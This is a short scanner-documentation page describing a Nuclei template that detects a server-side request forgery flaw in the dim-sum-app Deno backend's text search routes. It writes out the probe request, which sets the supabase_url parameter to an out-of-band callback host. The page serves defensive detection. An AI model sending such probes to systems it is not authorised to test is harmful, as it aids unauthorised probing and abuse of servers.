How to detect it

Nuclei template (active check)

dim-sum-app Deno Backend - Server-Side Request Forgery

The dim-sum-app Deno backend textSearchV2Handler (routes /v2/text_search and /text_search_v2) builds a Supabase client from the attacker-supplied supabase_url query parameter and issues the search RPC against it, so a remote unauthenticated attacker can make the server send requests to an arbitrary host (SSRF).

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /v2/text_search?keyword=test&supabase_url=http://{{interactsh-url}}); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:
